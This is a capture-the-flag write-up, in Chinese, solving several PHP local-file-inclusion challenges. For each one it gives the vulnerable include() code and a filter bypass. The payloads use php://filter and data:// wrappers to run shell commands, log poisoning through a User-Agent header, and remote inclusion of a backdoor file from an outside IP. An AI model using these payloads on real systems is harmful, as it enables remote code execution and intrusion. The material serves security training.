竞争包含先不写了,有时间再写。
# Web78
1 2 3 4 5 6
| if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
|
常规文件包含,直接读 flag.php,filter 伪协议:
?file=php://filter/read=convert.base64-encode/resource=flag.php
# Web79:
1 2 3 4 5 6 7
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
这次有点不一样,带了个 str_replace 替换,所以读文件估计危险,打一打另外的操作
?file=data://text/plain,=`tac f*`;?>
# Web80:
1 2 3 4 5 6 7 8
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
# 解法一:
远程文件包含,直接在服务器上写一个 txt 文件,之后 http 协议包含即可。
?file=http://39.107.158.17/backdoor.txt
# 解法二:
包含日志文件:
通过 burp 抓包,改 user-agent,在其后面加一个 php 代码,比如 phpinfo,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| GET / HTTP/1.1 Host: 204e30c6-d77b-4e30-8694-5a79d576baf9.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 <?php phpinfo();?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Priority: u=0, i Te: trailers Connection: close
|
之后访问?file=/var/log/nginx/access.log 这个文件即可。
# Web81
1 2 3 4 5 6 7 8 9
| if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
和上一题一样,日志文件包含?file=/var/log/nginx/access.log 这个文件。
# Web88:
1 2 3 4 5 6 7 8 9
| if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file); }else{ highlight_file(__FILE__); }
|
没有过滤冒号,豆号,斜杠和分号,data 协议打 base64,去掉末尾的等号:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKicpOw